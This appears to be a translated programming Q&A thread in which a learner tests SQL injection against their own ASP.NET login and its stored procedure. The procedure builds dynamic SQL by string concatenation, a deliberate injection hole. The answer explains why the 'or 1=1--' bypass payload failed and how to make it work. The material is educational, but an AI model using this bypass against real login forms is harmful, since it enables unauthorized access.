0

我正在学习 SQL 注入并想尝试一个。

我创建了一个 Web 应用程序并创建了一个存储过程来访问我的数据库中的一些信息。

这是我的存储过程和 asp .net 应用程序中的代码

Create Procedure spTest
(
    @UserName varchar(20),
    @UserPwd varchar(max)
)
AS
Begin
Declare @sql varchar(max)
set @sql = 'select UserName,UserPwd from Users where UserName='''+ @UserName+ ''' 
                                                And UserPwd = '''+ @UserPwd + ''' '
Exec(@sql)
End

C#代码:

string connString = System.Configuration.ConfigurationManager.ConnectionStrings["connStr"].ConnectionString;
using (SqlConnection con = new SqlConnection(connString))
{
   SqlCommand cmd = new SqlCommand("spTest",con);
   cmd.CommandType = CommandType.StoredProcedure;
   cmd.Parameters.AddWithValue("@UserName",txtUserName.Text);
   cmd.Parameters.AddWithValue("@UserPwd", txtPassword.Text);
   con.Open();
   SqlDataReader dr = cmd.ExecuteReader();
   dr.Read();
   if (dr.HasRows)
   {
       labelLogin.Text = "Logged in";
   }
   else 
   { 
      labelLogin.Text = "Not logged in"; 
   }

在用户名的文本框中,我输入bobby' or 1=1--

“bobby”是一个无效的用户名。

现在,我认为应用程序会使用假用户名登录,因为 1=1 始终为真,并且 SQL 语句的其余部分被注释掉。

但是,它显示“未记录”我在这里缺少什么?

谢谢

4

1 回答 1

2

您是否只输入 bobby' OR 1=1 --' 作为用户名?它仍然会尝试匹配密码,因为它位于单独的行上。如果您将其与有效密码结合使用或输入 bobby' OR 1=1 --' 作为密码,它应该可以工作。

第一种情况:

select UserName,UserPwd from Users 
where UserName='bobby' OR 1=1 --'
And UserPwd = 'xyz'

第二种情况:

    select UserName,UserPwd from Users 
    where 'UserName'='bobby' OR 1=1 --'
    And 'UserPwd' = 'bobby' OR 1=1 --'

第一种情况等于:

select UserName,UserPwd from Users 
where 
    UserName='bobby' OR 
    (1=1 And UserPwd = 'xyz')

第二种情况等于:

select UserName,UserPwd from Users 
where 'UserName'='bobby' OR
    (1=1 And 'UserPwd' = 'bobby') OR 
    1=1
于 2013-02-05T11:54:43.917 回答